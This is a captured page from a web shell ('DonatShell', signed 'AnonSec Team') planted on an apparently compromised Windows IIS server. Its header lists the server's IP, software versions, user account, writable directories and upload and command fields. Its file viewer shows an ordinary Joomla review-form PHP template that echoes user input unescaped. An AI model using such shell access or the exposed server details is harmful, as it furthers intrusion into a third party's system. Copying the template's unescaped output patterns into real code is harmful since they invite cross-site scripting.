DonatShell
Server IP : 180.180.241.3  /  Your IP : 216.73.216.252
Web Server : Microsoft-IIS/7.5
System : Windows NT NETWORK-NHRC 6.1 build 7601 (Windows Server 2008 R2 Standard Edition Service Pack 1) i586
User : IUSR ( 0)
PHP Version : 5.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /AppServ/www/news/components/com_simple_review/templates/default/userreview/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /AppServ/www/news/components/com_simple_review/templates/default/userreview/template.write.html.php
<?php
/**
 *  $Id$
 *
 * 	Copyright (C) 2005-2009  Rowan Youngson
 * 
 *	This file is part of Simple Review.
 *
 *	Simple Review is free software: you can redistribute it and/or modify
 *  it under the terms of the GNU General Public License as published by
 *  the Free Software Foundation, either version 3 of the License, or
 *  (at your option) any later version.

 *  Simple Review is distributed in the hope that it will be useful,
 *  but WITHOUT ANY WARRANTY; without even the implied warranty of
 *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 *  GNU General Public License for more details.

 *  You should have received a copy of the GNU General Public License
 *  along with Simple Review.  If not, see <http://www.gnu.org/licenses/>.
*/

// ensure this file is being included by a parent file
defined( '_JEXEC' ) or die( 'Direct Access to this location is not allowed.' );

/*
function GetName()
{
	return str_replace('.php', '', basename(__FILE__));
}	

function _GetReviewString($key)
{
	return $this->ReviewModule->GetString($key, _SR_ADDON_TYPE_MODULE, 'Review_Module');
}*/	

$bridge =& $this->ReviewModule->_AddonManager->Bridge;
$option = $bridge->Option;
$jsRootUrl = $bridge->SiteUrl.'components/'.$option.'/javascript/';
$adminUrl = $bridge->SiteUrl.'administrator/components/'.$option.'/';
$jsFile = $adminUrl.'addons/modules/Review_Module/Review_Module.Admin.js';

$bridge->IncludeJQuery();
$bridge->IncludeJQueryUI();
$bridge->IncludeJSLink($jsFile);
$bridge->IncludeJSLink($jsRootUrl.'jquery.validate.min.js');
$bridge->IncludeJSLink($jsRootUrl.'jquery.metadata.min.js');

$saveTask = new stdClass();
$saveTask->none = '';
$saveTask->apply = 'UserReview_Apply';
$saveTask->save = 'UserReview_Save';

if($this->Values == null)
{
	$this->Values = array();
}
$values = $this->Values;

$homeUrl = $this->UserReviewModule->GetUrl(0, '&task=UserReview_Home');
$mainframe = &JFactory::getApplication();
$pathway = &$mainframe->getPathWay();
$pathway->addItem('User Reviews', $homeUrl);
$pathway->addItem('Write', '');

$mainframe->triggerEvent('onBBCode_RenderForm', array('document.forms.userReviewForm.content', &$Form) );

$categoryID = intval($values['categoryID'], 10);//$bridge->GetParameter($_POST ,'categoryID', -1, 'int');
if($categoryID < 1)
{
	die('Invalid category.');
}
$submitTask = $bridge->GetParameter($_POST ,'submitTask', $saveTask->none, 'int');
$maxRating = $this->ReviewModule->GetSetting('MaxRating');
$useStarRating = $this->ReviewModule->GetSetting('UseStarRating') == '1';
$showAlias = $this->UserReviewModule->GetSetting('ShowAlias') == '1';

if($useStarRating)
{
	$bridge->IncludeJSLink($jsRootUrl.'jquery.rateit.min.js');
	?>	
	<script type="text/javascript">
		jQuery(function(){
			var scaleRated = function(value){
				return value * (maxrating / 5);
			};
			var maxrating = '<?php echo $maxRating;?>';
			var rated = scaleRated(<?php echo $values['score'];?>);
			var rateittext = jQuery("#rateittext");

			var setRated = function(value){
				rated = scaleRated(value ? value : 0);
			};
			
			rateittext.text(rated);
			
			jQuery("#rateit").bind('rated', function (event, value) { setRated(value); rateittext.text(rated); });
			jQuery("#rateit").bind('hover', function (event, value) { rateittext.text(value ? scaleRated(value) : rated); });
			jQuery("#rateit").bind('reset', function () {  rated = 0; rateittext.text(rated); });
		});
	</script>
	<?php
}

echo SRHtmlControls::ImageSearch();
?>
<style type="text/css">
	.buttonToolbar
	{
		text-align:right;
	}
</style>


<script type="text/javascript">


	jQuery(document).ready(function()
	{
		var messages = {};
		messages.score =  {
			required: "<?php echo $this->_GetReviewString('FormWarningValidRating');?>",
			range: jQuery.format("<?php echo $this->_GetReviewString('FormWarningRatingBounds');?>"),
			score: "<?php echo $this->_GetReviewString('FormWarningValidRating');?>",
			number: "<?php echo $this->_GetReviewString('FormWarningValidRating');?>"
		};	

		<?php
		$titleToValidateCount = 1; 
		foreach($values['titles'] as $revTitle):
		?>
		
			var messageName = '<?php echo "title$titleToValidateCount";?>';	
			messages[messageName] = {
					required: "<?php echo $this->_GetReviewString('FormWarningMandatoryTitle1');?>",
					range: jQuery.format("<?php echo $this->_GetReviewString('FormWarningRatingBounds');?>"),
					<?php echo "title$titleToValidateCount";?>: "<?php echo $this->_GetReviewString('FormWarningValidRating');?>",
					number: "<?php echo $this->_GetReviewString('FormWarningValidRating');?>",
					url: "<?php echo $this->_GetReviewString('FormWarningUrl');?>"
			};
		
		
		<?php
			$titleToValidateCount++;
		endforeach;
		?>							
		
		jQuery("#userReviewForm").validate({
			errorLabelContainer: jQuery("#userReviewForm div.errorContainer"),
			messages: messages
		});
		
		var task = { apply: '<?php echo $saveTask->apply;?>', save: '<?php echo $saveTask->save;?>'};
		var submitForm = function(event, saveTask)
		{
			event.preventDefault();
			jQuery("#task").val(saveTask);
			jQuery("#userReviewForm").submit();
		};
		jQuery("#btnCancel").click(function(event)
		{
			//submitForm(event, task.cancel);
			window.location = "<?php echo $homeUrl;?>";
			return false;
		});
		jQuery("#btnApply").click(function(event)
		{
			submitForm(event, task.apply);
		});
		jQuery("#btnSave").click(function(event)
		{
			submitForm(event, task.save);
		});				
		
		jQuery("#userReviewForm").submit(function(event)
		{
			if(!jQuery(this).valid())
			{
				return false;
			}
			return true;
		});
		
		var thumbnailURL = jQuery("#thumbnailURL");
		var imageURL = jQuery("#imageURL");
		
		jQuery("#bthSearchThumbnailURL").click(function(event)
		{
			event.preventDefault();
			SRCore.SearchImage.Search(thumbnailURL.val(), function(x){thumbnailURL.val(x);})
		});
		jQuery("#bthSearchImageURL").click(function(event)
		{
			event.preventDefault();
			SRCore.SearchImage.Search(imageURL.val(), function(x){imageURL.val(x);})
		});		
		
	});
</script>

<!-- todo -->
<link rel="stylesheet" href="administrator/templates/system/css/system.css" type="text/css" />
<link href="administrator/templates/khepri/css/template.css" rel="stylesheet" type="text/css" />


<!--[if IE 7]>
<link href="administrator/templates/khepri/css/ie7.css" rel="stylesheet" type="text/css" />
<![endif]-->

<!--[if lte IE 6]>
<link href="administrator/templates/khepri/css/ie6.css" rel="stylesheet" type="text/css" />
<![endif]-->

<link rel="stylesheet" type="text/css" href="administrator/templates/khepri/css/rounded.css" />

<!--  todo end -->

<form name='userReviewForm' id='userReviewForm' class='userReviewForm' method="post">
	<div class='buttonToolbar'>
		<button id='btnSave'>Save</button>
		<button id='btnApply'>Apply</button>
		<button id='btnCancel'>Cancel</button>
	</div>			
	
	<fieldset class="fieldsetUserReview">
		<div class="errorContainer" style="display:none"></div>
		
	<table width="100%" cellspacing="0" cellpadding="0" border="0">
		<tbody>
			<tr>
				<td valign="top">
				
					<table class="userReviewForm">
						<tbody>
							<tr>
								<!-- name -->
								<td class="firstCol"><label for="name"><?php echo $this->Tips->nameTip;?></label></td>
								<td colspan="3">
									<div class="titleText">
										<input type="text" name="name" id="name" class="{required:true} inputbox" size="52" value="<?php echo $values['name']; ?>"/>
									</div>
								</td>
							</tr>
							<?php if($showAlias): ?>
							<tr>
								<!-- page name -->
								<td class="firstCol"><label for="pageName"><?php echo $this->Tips->pageNameTip;?></label></td>
								<td colspan="3">	
									<div class="titleText">								
										<input type="text" name="pageName" id="pageName" class="inputbox" size="52" value="<?php echo $values['pageName']; ?>"/>
									</div>									
								</td>								
							</tr>
							<?php endif;?>
							<tr>
								<!--  award -->
								<td class="firstCol"><label for="awardID"><?php echo $this->Tips->awardListTip;?></label></td>
								<td class="awardCol"><div class="titleText"><?php echo $this->AwardsList;?></div></td>		
								<!-- rating -->
								<td class="ratingLabelCol"><label for="score"><?php echo $this->Tips->ratingTip;?></label></td>
								<td class="ratingCol">
									<div class="titleText">
										<input type="text" name="score" id="score" class="{required:true,number:true, range:[0,<?php echo $maxRating;?>]} inputbox" value="<?php echo $values['score']; ?>" size='12'/>
										<?php if($useStarRating):?>
										<div id="rateit" class="rateit bigstars" data-rateit-backingfld="#score" data-rateit-starwidth="23" data-rateit-starheight="22"></div> <span id="rateittext">0</span>	
										<?php endif;?>
										  / <?php echo $maxRating;?>
									</div>
								</td>
							</tr>
						</tbody>		
					</table>
					<table class="userReviewForm">
						<tbody>
							<tr>
								<!-- thumbnail -->
								<td class="firstCol"><label for="thumbnailURL"><?php echo $this->Tips->thumbnailTip;?></label></td>
								<td>
									<div class="titleText">
										<input type="text" name="thumbnailURL" id="thumbnailURL" class="{required:false,maxlength:255}" value="<?php echo $values['thumbnailURL']; ?>" size="71"/>
									</div>	
									<button id="bthSearchThumbnailURL">Search</button>
								</td>
								
							</tr>
							<tr>	
								<!-- image -->
								<td class="firstCol"><label for="imageURL"><?php echo $this->Tips->imageTip;?></label></td>
								<td>
									<div class="titleText">
										<input type="text" name="imageURL" id="imageURL" class="{required:false,maxlength:255}" value="<?php echo $values['imageURL']; ?>" size="71"/>
									</div>	
									<button id="bthSearchImageURL">Search</button>
								</td>
							</tr>
							<tr>
								<!--  blurb -->
								<td class="firstCol"><label for="blurb"><?php echo $this->Tips->blurbTip;?></label></td>
								<td><div class="titleText"><textarea name="blurb" id="blurb" cols="62" rows="4"><?php echo $values['blurb']; ?></textarea></div></td>
							</tr>
						</tbody>
					</table>
					
					<table class="userReviewForm">
						<tbody>
							<?php
							$titleCount = 1;
							foreach($values['titles'] as $titleContainer)
							{							
								$title = ReviewTitleHelper::GetTitle($titleCount, $titleContainer->category,  $titleContainer->review);
								echo"<tr>";
								echo $title->Setup();
								echo"</tr>";
								$titleCount++;
							}
							?>	
						</tbody>				
					</table>							
					
					<table class="userReviewForm content">
						<tbody>
							<tr>
								<td style="text-align:center">
									<?php echo $Form;?>
									<textarea id='content' name='content' style="height:500px; width:99%" cols="75"><?php echo $values['content']; ?></textarea>								
								</td>
							</tr>
						</tbody>
					</table>													
					
				</td>
			</tr>
		</tbody>
	</table>				

		<input type="hidden" name="categoryID" id="categoryID" value="<?php echo $categoryID;?>"/>
		<input type="hidden" name="task" id="task" value="<?php echo $submitTask;?>"/>
	</fieldset>
</form>

Anon7 - 2022
AnonSec Team